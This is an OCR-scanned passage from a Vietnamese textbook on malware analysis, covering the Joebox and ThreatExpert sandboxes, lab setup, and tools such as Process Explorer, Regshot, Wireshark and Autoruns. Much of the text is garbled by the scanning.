hoc tai trudng Darmstadt. Dy 1a 1 ngudi cling rat thich nghién ctru ma
doc hai va cac chuong trinh cap thap va dich nguoc.
5.1.1.2 Gigi thigu vé cong nghé Sandbox Joebox si dung

Sandbox 1a mot hé théng tu dong tim kiém va ghi lai hoat dong
ctia mi doc hai. Ung dung Sandbox nay dugc trong sudt véi ma doc hai.
Cac log file duoc sir dung phan tich va biét dugc hanh vi ma doc hai va
tir 46 nam duoc nhitng hanh vi x4u 1én hé théng tir d6 c6 thé xay dung
chuong trinh x6a ma doc hai.

Thuong thi sandbox dugc xay dung bang mdy 4o. Tuy nhién hién
gid rat nhiéu ma doc hai c6 nhiéu phuong phap do tim ra viéc nay. Két
qua 1a hacker str dung nhiéu k¥ thuat dé chan dung viéc nghién ciru hoic
lam cham viéc phan tich ma doc hai méi néu nhu nguoi phan tich s
dung moi truong may ao.

Chinh vi thé hang Joe Security da st dung moét hé thé)ng thuc
thanh vi gia 1ap cac phan mém. Ho thiét ké nhiing phan cimg dic biét.

Viéc phan tich dugc chi trong dau tién vao windows XP va
windows Vista.
5.1.1.3 Thiét ké h¢ théng Sandbox ciza hang Joebox

Joebox application sir dung mot may tinh that dé phan tich ma doc

hai. Phan mém nay dugc thé hién dudi 4 phan dudi day.

< T

GoeboxinjectoD Goeboxhooken)
Goeboxrestore) Cjoeboxsniffer)

Hinh 5-1: Thiét ké tong thé Sandbox — JoeBox
Joebox Injectior chiu trach nhiém dua vao ma doc hai can phan
tich vao phan xt Iy. Va ban than Joebox Injector ciing két ndi voi Joebox
sniffer.
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Joeboxhooker 13 mot thu vién lién két dong hooks va ghi lai cac
ham API. Joeboxsniffer thuc thi viéc bit cac g61 tin dua vao thu vién
WinPcap.

Joeboxrestore 1a dé khoi phuc lai hé diéu hanh sau khi phan tich.

3 Phan cta hé thong duoc thé hién duéi ddy nhu sau :

Sandbox Controller, Sniffer

N )
Harddisk 1 Harddisk 1
(Vista) (Win XP)
Harddisk 2
(Vista)
Optical restore
device (DVD)
N N S
Hinh 5-2 Thiét ké chi tiét Sandbox- Joebox

May sandbox chira 2 harddisks déu cai Windows Vista va mot 6

r,d"'_

dia quang. CO may diéu khién thi huéng din cho ung dung
Joeboxinjector thuc thi ma doc hai va inject Joeboxhooker vao trong dé
khoi dong qua trinh. May controller c6 thé ghi log toan bo traffic gitta
internet va sandbox network.

K¥ thuat hooking va logging

Joebox st dung k¥ thuat detour API hooking hay con goi 1a k¥
thuat hook inline. K§ thuat nay s& chén vao dau ham API can hook 1
lénh JMP, 1énh nay s& nhay dén (jump) doan code xtr 1y ctia ngudi lap
trinh. C6 thé hinh dung thé nay, khi ma doc hai goi dén mot ham API
ctia hé théng — ham nay ta da hook thi dau ham né s& JMP doan code xtr
Iy cua ta, va ta s& 1ay cac tham sd ctia ham ra tir stack va xir Iy (sira tham
s6 hay ghi log tuy ¥ dinh cua ta).

Sau d6 minh s& khoi phuc lai 5 byte gc ciia ham API d6 va nhay

lai vé diu ham API d6 va cho thyc hién ham nhu binh thuong.
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Process space

iy
—inject {lue ORTIGHI: Hag xm
Y

dll J
@ﬂebﬂxinjectu%mn-h- logfile
application

data

\ /

Hinh 5-3: K¥ thuat hooking and logging
Qua trinh khéi phuc hé thong.
Sau khi malware duoc phan tich, hé théng s& dugc quay tré lai

trang thai cii lic ban dau. C6 nhiéu giai phap phan cimg dé khoi phuc
mot hé thdng sau khi khéi dong lai — goi 1a hd protector hay hd guader.
Joebox st dung mot hé théng khoi phuc trang thai, nhu da trinh bay &
trén c6 2 hardisk v6i 2 hé diéu hanh dugc cai dit. Dé khoi phuc lai hé
diéu hanh ban da Joebox s& khdi dong tir mot hé thong nay t& hé thong
khac va ghi d¢ lai hé théng cii bang mot DVD-rom hay network device.

ﬁ C System 1 )—execut
C System 2 )

restore from
+ ( System 1 )"'q}hc:al devicea
( System 2 )—GﬂﬂbuxresturED
boaot irnto

systan 1 — e o

koop
C System 1 )
—I C System 2 )—ex&cut

Hinh 5-4: Quy trinh khéi phuc lai hé théng
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Tong két Joebox 1a mot cong cu can thiét dé phan tich tu dong
hanh vi ctia malware trén hé diéu hanh Windows Vista. Thiét ké dang
module log sinh ra 1a dang XML, ngoai ra nhiéu output dang khac nira.
Joebox dugc viét bang C++.

Uu diém :

Dé dang thuc thi.

Céac tham sd cac ham API va gia tri cac ham tra vé ta déu dé dang co
duoc dé phan tich.

Thoi gian tra vé két qua 13 kha nhanh (khoang 2 dén 3 ph(t)

API ty dong hoa phan tich.

N6 cung cip noi dé moi nguoi chia sé vé ma doc hai.

Nhuoc diém cua phuong phap nay :

Rat d~é bi cac malware do tim dugc cach can thiép vao ham API nay

nén dé bi malware dung k¥ thuat chong lai chuyén bi phan tich.

Co nhi,éu driver linh hoat khong bi chdn va phan tich duoc.

Mot so tién ich nguoi dung phai tra phi.

Chi phan tich trén mo1 truong Windows.
5.1.2 Cong ngh¢ Sandbox caa Threatexpert
5.1.2.1 Giéi thiéu hdng Threatexpert
ThreatExpert 1a mot hé théng phan tich mdi de doa ty dong tién tién
dugc thiét ké dé phan tich va bido céo hanh vi cua virus may tinh, sau,
trojan, adware, spyware, va cac rui ro lién quan dén bao mat khac trong
mdt ché do hoan toan tu dong chi trong vai phut ThreatExpert c6 thé xu
ly mau va tao ra mot mdi de doa béo céo rat chi tiét véi mac do chi tiét
ky thudt phu hop hodc vuot qua tiéu chuan coéng nghiép chdng virus
chang han nhu nhitng nguoi binh thuong tim thiy trong bach khoa toan
thu virus truc tuyén.
5.1.2.1 Hé thong cua Threatexpert

Vin dé

Mot mbi de doa méi khong duge phat hién boi cac phan mém diét virus
tan cong vao hé thong clia ngudi dung.
Nguoi ding giri mau virus d6 dén noi cung cip phan mém diét virus d6
dé phan tich.
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C6 thé phai mat nhleu gid cho nhimg cung cip phan mém diét virus do
dé dua ra giai quyét

Dap tmg 1 : Ngudi cung cdp cdp nhat cac san pham Antivirus (Nguoi
ho trg).

Pap tmg 2 (tuy chon): ngudi cung cdp cung cép cho cac khach hang
véi cac mo ta vé mdi méi de doa.

Antivirus ' :
Froduct Internet <

Antivirus
| Wendor

Hinh 5-5: Nguoi dung giri yéu cau toi noi cung cap phan mém diét virus

Gidi phap

Ngudi st dung giri mau toi ThreatExpert.

ThreatExpert cung cap mot phan tich mé ta chi tiét moi de doa ngay lap
tuc.

Mo ta mdi de doa co thé dugc sir dung bai khach hang dé thuc hién gial
doan giam thiéu mbi de doa ( nhu tur dong hoac bang tay loai bo mdi de
doa hodc phong) trudc khi ngudi cung cip phan mém diét virus dap
ung.

Threat Expert

Automation  Antivirus ' '
Fraduct , Internet -

Antivirus
Wendor

Hinh 5-6: Ngudi dung giri mau t6i TheatExpert

Ngay nhu nhiing ngudi hd trg nhan duge mot mau tir cac khach hang,
tham gia ThreatExpert, ThreatExpert cung cp mot phan tmg de doa mo
ta ngay lap tic.

Mo ta mdi de doa méi co thé dugce ngay lap tirc dugc dang trén trang
web clia cong ty cua cac nha cung cap, trudc khi cac nha cung cap
khac c6 kha ndng lam nhu vay.

182



Khach hang khac cta nha cung cép c6 thé duoc ngay 1ap tirc canh bao
vé mot mbi de doa mGi voi mo ta dﬁy du mdi de doa.

Nha cung cip co6 thé str dung cac béo cdo chi tiét hanh vi hd tro trong
phan tich phan mém doc hai dé giup phat hién ra phan mém doc hai.

Antivirus ) ‘
Product . Internet -

CLstomer

Autarmation
Hinh 5-7: ThreatExpet tra vé két qua

Uu diém:

ThreatExpert 12 mot hé thong phan tich mdi de doa tu dong tién
tién duoc thiét ké dé phan tich va bao cao hanh vi ctia virus may tinh,
sau, trojan, adware, spyware, va cac rui ro lién quan dén bao mat mot
cach hoan toan ty dong chi trong vai phat ThreatExpert c6 thé xt 1y
mau va tao ra mot moi de doa bao cdo rat chi tiét véi mac do chi tiét ky
thuat phi hop hodc vuot tiéu chuidn chdng virus cling nhu viéc moi
nguoi tim dugc thongng tin vé virus trén mang.

Nhueoe diém:

Mién phi, dich vu.

Cung cip thém cho ngudi dung phian mém quét bd nhé trén may tinh.
N6 ngoai vigc phan tich cac file exe con phan tich cac file anh,
cacduong dan URL, Registry, CLSID(CLSID la mot sé 128 bit (Ion)
dai dién cho mot id duy nhat cho mét ¢ng dung phan mém hoic céac
thanh phan ang dung).

N6 cung cap noi d€ moi nguoi chia sé vé ma ddc hai.

5.2 Ky thuat phéan tich hanh vi sir dung méi trweong may ao
Nhu vay co thé thay 2 budc dau tién trong phan trén 1a 2 budc so
bd va phan tich ma doc hai béng cach theo doéi hanh vi ctiia ching. Pay 1a

hai budc chu yéu giéo trinh tip trung trinh bay.
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Dé c6 thé phan tich dugc ma doc hai sir dung phwong phap quan
sat hanh vi ban than nguoi phan tich can phai c6 1 méi truong hé thdng
phan tich voi cac cong cu can thiét.

Chuan bi mot hé thong lab nhu sau :

Chuan bi 2 may :

- Mot may dé gia 1ap moi truong Internet
- Mot may dé cho ma doc hai chay trén do.

May dé cho ma doc hai chay trén d6 c6 thé st dung cong nghé
may o dé nguoi phan tich luén c6 1 may & tinh trang méi nhat dé chay
mi doc hai. Hodc ciing c6 thé may that, nhung qua trinh tro vé trang thai
moi nhat thi mat nhiéu thoi gian hon so v6i may ao. Tuy nhién c6 rat
nhiéu ma doc hai c6 thé nhan biét dugc moi truong may a0, vi du nhu
ma doc hai Red Pill ¢6 thé tu nhan dang dugc mdi trudng ao dé khong
chay trén moi truong do, chi tiét co thé xem thém ¢ day:

http://invisblethings.org/papers/redpill.html

Nén tly vao nhu cau nguoi phan tich can lya chon sao cho phu hop.
May a0 xay dung chay Windows XP SP2, Windows Server 2003,
SP2, Windows 7 Untilmate.
Gia lap Internet bang phan mém Inetsim cai trén may Linux server
gid 1ap céac dich vu Internet nhu DNS, Webserver, IRC server, SMTP

SCTrver...
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machine

Web server
IRC server
SMTP server

Hinh 5-8: M6 hinh thuc nghiém

Trén may chay ma ddc hai thi cai san cac cong cu phan tich ma doc hai :

Sysanalyzer

Process Explorer
Regshot

TCPView

Wireshark

Svchost Process Analyzer
HijackThis

Autoruns

5.2.1 Sysanalyzer
http://securitytnt.com/sysanalyzer/

Sysfnalyzer Configuration Wizard

et

Hinh 5-9: Sysanalyzer
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La mdt timg dung chay thoi gian thuc tu dong phén tich ma doc

hai sinh céc log vé c4c khia canh khac nhau ctia hé théng, céc tién trinh

xay ra. N6 duoc thiét ké dé cho phép nhanh chéng sinh ra bao cdo toan

dién vé hanh vi ciia ma doc hai 1én hé thong.
SysAnalyzer tu dong c6 thé theo ddi va so sanh:

Céc tién trinh dang chay.

Cac céng dich vu dang m¢.

Céc drivers cta hé théng dang dugc dung.

Céc thu vién duoc thém vao hé théng.

Céc gia tri registry bi thay doi.

Cac ham API duogc goi ra bdi ma doc hai.

Céc file trong hé thong bi sira doi.

Thong tin vé cac ludng traffic HTTP, IRC, DNS.

5.2.2 Process Explorer

http://technet.microsoft.com/en-us/sysinternals/bb896653

& Process Explorer - Sysinternals: wawnw.sysinternals.com [KHAMNGEITO-PCWKHAMNGKITO] = |[= ][ =]
File Options WView Process Find DLL Users Help
H| @ =E O cr < o | I | EEESS || S
Process FID CPU Private Bytes Waorking Set  Description Comparm
W] csrss.exe 428 o.e7 8288 K 12324 K
B |winlogon exe 624 16288 K 904 K
= == explorer.exe 2080 3.25 50972 K 37.696 K Windows BExplorer Microsoft
=l [m 7] swchost exe 2352 036 2184 K 2.464 K Host Process for Windows 5... Microsoft
£ vmware-tray .exe 2356 1.072 K B5E K Vhware Tray Process Whhware,
(W] WINVWORD . EXE 1916 < 0.01 36.788 K 56.780 K Microsoft Word Microsoft
|
= =
4 Snipping Tool .exe 2440 1.34 1.744 K 6.264 K Snipping Tool Microsoft |
= @ IDMan exe 2376 7032 K 1.020 K Intemet Download Manager ... Tonec Iy =
== |IEMonitor.exe 2772 1.564 K 2.652 K Intemet Download Manager ... Tonec Ine
e UniKeyNT exe 2424 1.204 K 372K
= -_g;?lYahooMessenger,exe 2432 0.19 53 468 K 25 928 K Yahoo! Messenger rahoa! In
E‘QYaﬂooMessengereme 3372 < 0.01 22752 K 2.160 K Yahoo! Messenger Yahoo! In
B |swchost exe 2848 0.04 2088 K 2452 K N
E!game.exe - —r—“ s S I - 3
Mame Description Compary Mame Version I
advapi32.dll Advanced Windows 32 Base API Microsoft Corporation &.1.7600.16385 |E |
apisetschema . dll ApiSet Schema DLL Microsoft Corporation &.1.7600.16385
apphelp.dll Application Compatibility Client Libr... Microsoft Corporation &.1.7600.16385
C_1252.MLS
cfgmgr32.dil Configuration Manager DLL Microsoft Corporation &.1.7600.16385
clbcatg.dil COM-= Configuration Catalog Microsoft Corporation 2001.12.8530.16...
comctl32Z.dll User Experience Controls Librany Microsoft Corporation 6.10.7600.16385
comdlg32.dll Common Dialegs DLL Microsoft Corporation 6.1.7600. 16385
ConnectionWizard dll Connection¥Wizard Yahoo! Inc. 1.0.0.55705
core_video dll core_videao Yahoo! Inc. 1.0.0.55705
crypt32.dil Crypto API132 Microsoft Corporation 6.1.7600. 16385
cryptbase dll Base cryptographic AF| DLL Microsoft Corporation 6.1.7600. 16385
cryptsp .dil Cryptographic Service Provider AP Microsoft Corporation 6.1.7600. 16385
o 3d Bthikc dll Microsoft Direct3D OS Thunk Layer Microsoft Corporation 6.1.7600. 16385
d3dS.dil Direct3D 9 Rurtime Microsoft Corporation 6.1.7600.16385
dciman32 dil DCl Manager Microsoft Comporation 6. 1.7600.16385 -
CPU Usage: 34.74% Commit Charge: 66.26% Processes: 63 Physical Usage: 92.42%

Hinh 5-10: Process Explorer

Proces Explorer 13 phdn mém mién phi cho Microsoft Windows

do Sysinternals tao ra, va dugc tap doan Microsoft mua lai.
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Process Explorer 14 tién ich theo d&i va kiém tra hé théng, c6 thé
stt dung nhu mot cong cu g& réi cho cac phan mém ciing nhu cac van dé
phat sinh ciia hé thong. Co thé dung nhu mot tién ich thay thé task
manager cua Windows.

Process Explorer co thé dugc st dung dé theo doi vé cac van dé. Vi du
nhu, xem tién trinh ndo dang chay, theo déi nhing tép tin dang dugc mo
bo1 cac chuong trinh, hién dong 1énh da duogc sur dung dé khoi dong
chuong trinh.

Process Explorer hién thi cho ban thong tin cac vé cac tién trinh, xir Iy
DLLs. N6 gdbm 2 cira s6, cira sO trén cung thi thé hién danh sach cac tién
trinh dang hoat dong, bao gdm tén cua ching va tai khoan chay chung.
Trong khi cac thong tin hién thi trong ctra s6 phia dudi phy thudc vao
ché d6 ma Process Explorer dang chay. Néu process Explorer chay trong
ché d6 dll mode thi ban s& thay dlls v memory-mapped files trong tién
trinh duoc tai.

Day ciing 1a mot cong cu kha manh nhanh chéong giip ban nhanh
chong tim kiém xem duoc céc tién trinh cu thé va cac file dll twong tmg
dang chay. N6 c6 kha nang xem xét cac van dé vé phién ban dll cii, cung
cap cai nhin rd vé cach windows va tng dung lam viéc.

N6 ciing dugc dung nhu Task Manager dé quan 1y tai khoan timg
chuong trinh chiém dung, thiét 1ap mirc d wu tién cua ting tién trinh...

Hién nay Process Explorer lam viéc trén Windows
9x/Me, Windows NT 4.0, Windows 2000, Windows XP, Windows
Server 2003, Windows Vista, Windows 7 bao gém cé cac phién ban 64
bit.

5.2.3 Regshot

Regshot 1a mot tién ich nho dé ban so sanh thong tin vé registry

gifra lan trude khi chay ma doc hai va sau khi chay ma doc hai. N6 sé ghi

lai nhitng thong tin nao bi thay doi va thay do6i thé nao.

http://sourceforge.net/projects/regshot/
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= ' Regshot1.8.2 =l = (==

Compare logs sawve as: |
= Plain TXT T HTML document

1st shot

| CoWWindowes |
Output path: CQuit
| CiWsersdiKHANGK ~1\ApPD: ... |

|
|
I Scan dir idir2;. .. pdic nm: |
I
|
|

About

Add comment into the log:

| IEninsh - I

Hinh 5-11: Regshot

1st shot: Chup Registry & lan thir 1 (chup trude khi cai dat ma doc hai hoac
c6 sy thay doi trén hé thong).

Plain TXT: Ban bao c4o so sanh két qua chup Registry xuat ra dang TEXT.
HTML document: Ban bao céo so sanh két qua chup Registry xuét ra dang
HTML.

Scan dirl[ ; dir2 ; ... ; dir nn ]: Chon thu muc mudn chup, mac dinh
la C:\WINDOWS. Néu chon thém thi cach nhau bdi dau ";". O trén la
C:\Users\KHANGK~1\AppData\Local\Temp\

Output path: Puong dan chira ban bao céo so sanh két qua chup Registry.
pé chup lan thir 1, ta click vao nat 1st shot va ¢6 3 lya chon:

Shot: Thuc hién chup Registry ngay.

= Shot and Save: Chup Registry va luu lai 1an chup nay thanh 1 tap tin véi

phan mo rong .hiv.

= Load...: mé ra tap tin .hiv (dd chup & thdi diém nao d6 trude do).

Sau khi hé théng co su thay ddi, hodc mai cai dat phén mém... ta sé& thuc
hién lan chup thtr 2, va cling s€ c6 3 lya chon nhu giai doan trén.

Sau khi l1an chup thir 2 dugc thyuc hién, click chon nit compare dé xem
két qua.

5.2.4 HijackThis

HijackThis 12 mot tién ich mién phi ding dé quét nhimng thay doi
cuaa Windows do Spyware, Malware, hoac nhitng chuong trinh la mot
cach nhanh chdng va chinh xac.

HijackThis s& tao ra cac file log chta nhirng két qua cua viéc quét
mot cach rat rd rang, dya vao cac log file d6 ta c6 thé phan tich, tim ra
hudng gia quyét mot cach rd rang.
http://www.spywareinfo.com/~merijn/files/hijackthis.zip
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& Trend Micro HijackThis - v2.0.2 == | (2]

Below are the results of the HijackThis scan. Be careful what you delete with the 'Fix
checked' button. Scan results do not determine whether an item is bad or not. The
best thing to do is to 'AnalyzeThis' and show the log file to knowledgeable folks.

F.1 - HKCLSoftware Microsoft\Internet Explorerain,Search Page = http:/fgo.microsoft.com i

RO - HEKCU\Software WMicrosoftiInternet ExplorerMain,Start Page = http:/ffgo.microsoft. cnm,."f'..xllnk,u"-"LlnkId =i=]
R 1 - HELMSoftwareWMicrosoft\Internet ExplorerMain,Default_Page_URL = http: ffgo.microsoft. com felink2Lir
R 1 - HELM\SoftwareWMicrosoft\Internet ExplorerMain,Default_Search_IURL = http:/fgo. microsoft. com fwlink 21
R1 - HELM\SoftwareWMicrosoft\Internet Explorer \Main,Search Page = http:ffgo.microsoft. comfwlink?LinkId ==t
RO - HELM\SoftwareWMicrosoft\Internet Explorer'Main,Start Page = htip: ffgo. microsoft. com fwlink/?LinkId =52
RO - HELM\Software \WMicrosoftiInternet Explorer\Search, Searchassistant =

RO - HEKLM\SoftwareWMicrosoft\Internet Explorer\Search,CustomizeSearch =

RO - HKCUSoftwareWMicrosoftiInternet ExploreriToolbar , LinksFolderMame =

F.3 - URLSearchHook: DeviceVM Url Search Hook - {006 3BF&63-BFFF-4B8F-9D 26-4267DFFF 17DD} - C:WWindows
02 - BHO: IDM Helper - {0055C089-8582-441B-ADBF-17B4538C2A3A8} - C:'Program FilesiInternet Download M
02 - BHO: {no name) - 024780 38-C3F9-9=fb-9851-7695ECADS5 70} - {no file) B
02 - BHO: 55VHelper Class - {76 1497BB-D&6F0-452C-B5EE-D4DAF 1D9 2043} - C:'\Program Files\Java'jre1.5.0_
02 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\WPROGRA ~1\MICROS ~~1Y0f
04 - HELMY, . \Run: [wmware-tray] “C:\Wrogram FilesWwiMware\WMware Workstatonwmware-tray.exe™

04 - HKCUY, . \Run: [IDMan] C:YWrogram Files\Internet Download Manager\IDMan.exe fonboot

09 - HKCUY, . YRun: [Messenger (Yahoo!)] "C:\PROGRA~1Yrahoo!YWMessenger\YahooMessenger.exe”™ -quiet

O4 - HEKCUY, . \Run: [UniKey] D:\SoftwareUniKeyMT.exe

08 - Extra context menu item: Download all links with IDM - C:\Program Files\Internet Download ManagerEGe
08 - Extra context menu item: Download FLV video content with IDM - C:YProgram FilesiInternet Download Mai
08 - Extra context menu item: Download with IDM - C:YProgram Files\Internet Download Manager \IEExt.htm

08 - Extra context menu item: E&xport to Microsoft Excel - res: //C:\PROGRA ~1\MICROS ~ 1O ffice 14\EXCEL.E —

Scan & fix stuff Other stuff

AnalyzeThis |
Info... Config... |
Upload to TrendSecure

Add checked to ignorelist |

n

Scan Fixx checked |

Info on selected item. .. I Main Menu |

Hinh 5-12: HijackThis
5.2.5 TCPView
TCPView 1a mot chuwong trinh cho phép ban nhin thay cac két néi TCP
va UDP trén may ban. N6 thé hién ca dia chi cuc bo chinh may ban va ca
cac dia chi ip khac, ngoai ra con c6 thong tin vé trang thai két ndi TCP.
Cach stir dung TCPView:

- Khi ban khoi dong TCPView sé hién thi toan bo cac két ndi TCP, UDP.

- Theo mic dinh TCPView update mdi gidy mot lan, nhung ban c6 thé sir
dung Options Refresh Rate dé thay doi. Ban co thé dong két ndi & trang
thai Established bang cach Iya chon File Close connection. Ban ciing ¢6
thé ghi lai thong tin cac két ndi thanh cac bao cao dudi dang céc log file
dé phan tich.

- TCPView con bao gom ban Tcpvcon, mot phién ban dong Iénh véi cac
churc nang tuong tu.

http://technet.microsoft.com/en-us/sysinternals/bb897437
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- -

&TCPViE\N— Sysinternals: www.sysinternals.com | = || =] || =& |
File Options Process View Help
| H = —

Process PID Protocol Local Address Local Port R ™
G’ chrome.exe 3824 TCP 192.188.1.90 34522 12
G chrome.exes 3824 TCP 152.168.1.50 34583 18
G chrome.exe 3824 TCP 182.168.1.90 345384 83
G chrome.exe J824 TCP 192.168.1.90 34985 67| __
G chrome.exe 3824 TCP 152.158.1.50 34587 87|
G’ chrome.exe 3824 TCP 192.188.1.90 34938 67| 0
G chrome.exes 3824 TCP 152.168.1.50 34589 87
@ chrome.exe 3824 TCP 182.168.1.90 34550 87
G chrome.exe J824 TCP 192.168.1.90 B Lt y] 87
G chrome.exe 3824 TCP 152.158.1.50 34552 74
G’ chrome.exe 3824 TCP 192.188.1.90 34904 87
G chrome.exes 3824 TCP 152.168.1.50 345985 59
@ chrome.exe 3824 TCP 182.168.1.90 34555 T4
G chrome.exe J824 TCP 192.168.1.90 35003 53
G chrome.exe 3824 TCP 192.168.1.50 35004 20
G’ chrome.exe 3824 TCP 192.188.1.90 35005 a9
G chrome.exes 3824 TCP 152.168.1.50 35008 59
@ chrome.exe 3824 TCP 182.168.1.90 35013 87
G chrome.exe J824 TCP 192.168.1.90 35014 53
G chrome.exe 3824 TCP 192.168.1.50 35016 18
G’ chrome.exe I824 TCP 192.168.1.90 35017 18
G chrome.exes 3824 TCP 152.168.1.50 35020 18
@ game.exe 2348 TCP 1892.168.1.90 12650 12 -
- | (1} [
Endpoints: 137 Established: 51 Listening: 29 Time Wait: 3 Close Wait: 0

Hinh 5-13: TCPView

5.2.6 Wireshark

Wireshark La chuong trinh bat géi tin ndi tiéng dé ta c6 thé nim
dugc hanh dong ctia malware. Xem duoc cac két ndi cua néd ra ngoai nhu
thé ndo.

Wireshark hd tro voi nhiéu giao thitc khac nhau, né dugce phat
trién trén mo hinh ma ngudn mé nén s& thém vao nhing giao thirc méi.

N6 13 cong cu mién phi va d& dung nhat d6i voi moi ngudi va nd
hd trg hau hét cac hé diéu hanh.

http://www.wireshark.org/download.html
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E@l Capturing from Realtek RTLE168C/8111C PCI-E Gigabit Ethernet NIC - Wireshark = =l =2
File Edit Wiew Go Capture Analyze Statistics Telephony Tools Help
Bl e R es A e T LEI(ENEQCEE @ Em -
Filter: ~ Ewpression.. Clear Apphy
Mo. Time Source Destination Protocol Info =
1260 26.015361 120.132B.65.165 192.16E8.1. 90 TCP x11 > ca-web-update [P5H, AC
1261 26.015702 120.13B.65.165 192.168.1. 90 TCP x11 > 14400 [PSH,
1

1262 - 021194 - 192.168.1.

x11 12650 [PSH,

4287 . = L
0850086 . S 14400 [ack]

o5 =]

.119975 > ca-web-update [AackK] se

1271 26.237868 120.13B8B.65.165 192.168.1.90 TCP x11 > 14400 [PSH, ACK] Seq=2

1272 26. 240810 120.12B.65.165 192.168.1. 90 TCP x11 > ca-web-update [P5SH, AC
1 =

1273 26.240974 120.138.65.165 192.168.1.90 TCP *x11 12650 [PsSH, ACK] Sseg=2

Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits)

Ethernet II, Src: Giga-Byt_11:82:7d (00:24:1d:11:82:7d), DsT: MNetgear_ed:ed:dl (00:26:f2:ed
Internet Protocol, Src: 192.168.1.90 (192.168.1.90), Dst: 120.138.65.165 (120.138.65.165)
Transmission Control Protocol, Src Port: 14400 (14400), DsTt Port: x11 (6042), seq: 1, ack:

3

0000 00 26 T2 ed e6 di 00 24 1d 11 82 7d 08 00 45 0O & .. $ ...%..E.
0010 00 28 4d fa 40 00 80 06 OO0 DO cO a8 01 5a 78 Ba SM.@ o ... Zx-
0020 41 a5 38 40 17 9a 96 89 5c dc c3 49 1c ea 50 10 ABE. ... M..I.._P.

| oo30 f7 0d Fc 4c 00 0O T
@ | Realtek RTLB168C/8111C PCI-E Gigabit Ether... | Packets: 1274 Displayed: 1274 Marked: 0 Profile: Default

Hinh 5-14: Wireshark
5.2.7 Svchost Process Analyzer

Svchost.exe 1a mot tién trinh quan trong trong Windows, né chiu
trach nhiém chay va load céc thu vién lién két dong ( dlls ) dé khoi dong
cac dich vu can thiét cho hé théng. Thong thuong thi file svchost.exe
nam trong thu muc C:\Windows\System32, nhung cé rat nhiéu ma doc
hai str dung cuing tén file va cliing tén tién trinh svchost.exe dé an di hoat
dong cua ching.

Chuong trinh ndy sé& liét két toan b cac thé hién cua tién trinh
svchost.exe va kiém tra cac dich vu ma né nim dit xem cho chinh xéac
khong. Pay 1a mot phan mém ty do http://209.68.25.184/free/svchost-
analyzer/index.html
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/| EE] Swchost Process Analyzer - wwnar.neuber.com

ﬁ Svchost details

Click on one of the 15 swchost processes in the abowve list to see all cortal g services of this swchost process in the bottom list.

Following svchost processes are running on your computer:

Process IO File Group Services o
&svchost.ea-oe 2352 Cruwindows system swvchost exe =< Mo Microsoft fil... o =
AT swehost exe 2848 <« Access is denied, Run program as Administrator! == < Mo Microsoft fil___ (1]
b swchost .exe 260 Craindowshsystem32hswchost .exe netsves 16
b svchost exe 832 CrWWiIndows . System3Z2hsvchost exe Local SystemMet .. h=]
b swchost .exe FEZ2  CoaVindowshSystem 32hsvchost.exe LocalServiceMet. .. (=3
b svchost exe 1424 Co0WWindowshsystem 32hswchost exe LocalServiceMa. . 3
4. swchost.exe 1120 CorWindows system32hswchost .exe Metwork Service £ -
Display Name Service Mame File Status
AT winH P Web Proogy Auto-Disc... WinHttpAutoPro. . winhttp .dll - The system cannot find the file specified deactive
ST TCPAIP NetBIOS Helper Imhosts < Registry Access is denisd. Fun program as Administrat . active
£ Networke Location Swareness MlaSwvc =< Registry Access is denied, Run program as Administrat... active
£ Metwork Store Imterdface Service nsi < Registry Access is denisd. Fun program as Administrat . active
< | nir ] 3
_& means atypical. Checlk it with Security Task Manager.
@ means it belongs to Windows (a Micrasoft file) [ Dietails ] [ About

Hinh 5-15: Svchost Process Analyzer
5.2.8 Autoruns
http://technet.microsoft.com/en-us/sysinternals/bb963902

AutoRuns sé giup ban quan li mot cach toan dién cac vi tri ma céc
chuong trinh khoi dong ciing vi Windows, dua cho ban toan quyén xur Ii
chdng. Autoruns liét ké cho ban rat chi tiét nhitng théng tin vé cac chuong
trinh d6, sap xép ching theo cac phan muc nhu Registry Key, Logon,
Explorer, Services, Schedule Tasks, Winsocks... Ngoai tén va vi tri cta
chuong trinh, ban con ¢ thé xem timg module DLL ma chuong trinh nap
vao bo nhé.

Véi chtic niang d6, Autoruns c thé gilp ban phét hién nhing virus,
trojan hay spyware c6 hai nam an minh trong may tinh hoic ban ciing c6
thé dung Autoruns dé tat b6t nhitng chuong trinh khong can thiét khi khoi
dong.

Dé x6a bo mot chuong trinh trong danh sach, khong cho né khai dong
cuing Windows, ban chi don gian b danh du twong tng cua né 1a duoc.
Mubn xem thém thdng tin chi tiét hon hiy nhan vao nit Properties trén
thanh cbng cu.
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=7 Autoruns - Sysinternals: mﬁnterﬂals.com _ lglﬁg
i .

File Entry Options Help

| A 2 24

@l Codecs I [ Booat Execute I [ Image Hijacks I 1= Applnit I %] EnownDLLs I n wrinlogon
& Winzock Praviders I iz Print Monitors I @ L5A& Providers I £ Metwork Providers I B Sidebar Gadgets
= Ewerything | 24 |ogon T i Ewxplorer I 42 Intemet Explorer I [ Scheduled Tasks I 82 Services I Dirivers

-

Autorun Entry Drescription Publizher

@’ HKLMSOFTWAREWWicroso ffWWindows\Current\ersion\Run I—I
ﬁ] wmware-tray “Whliware Tray Process Werified) WKware, Inc.

ﬁ HECWSoftware\MicrosoftWvindows\Currentversion\Run
@ IDMan Internet Download Manager (IDK ) (Mot werified} Tonec Inc.
ig‘,l Messenger (... “ahoo! Messenger Werifisd) Yahoo! Inc.

S Unikey
ﬁ HELMSOFTWAREWC lasses\Protocols\Filter

|E| tesctieml Microsoft Office XML MIME Filker MWerified) Microsoft Corporation
@’ HEKLMSOFTWAREWClasses\Protocols\Handler 57
4 | (1] LS
Ready.

Hinh 5-16 Autoruns

5.3 Cac bwéc phan tich trong ky thuat quan sat hanh vi

B1. Pau tién la bat chuong trinh Process Explorer.

B2. Bat chwong trinh bat gai tin wireshark.

B3. Khoi dong chuong trinh SysAnalyzer.

B4. Khéi dong chuong trinh Regshot va chay 13y thong tin registry
hién thoi cia hé thdng 1an dau tién.

B5. Load ma ddc hai vao chuong trinh Sysanalyzer dé chay ma doc
hai.

B6. Chay tiép chuong trinh Regshot dé so sanh thong tin registry da
thay ddi nhing gi ?

B7. Kiém tra chuong trinh Process Explorer, Svchost Process
Analyzer.

B8. Kiéu tra chuong trinh Wireshark va TCPView dé xem cac thong
tin vé két ndi.

Sau toan bd cac budc trén ching ta s& thu duoc nhing théng tin vé
hanh vi ciia ma ddc hai nhu sau :

Vé thudc tinh cua ma doc hai :

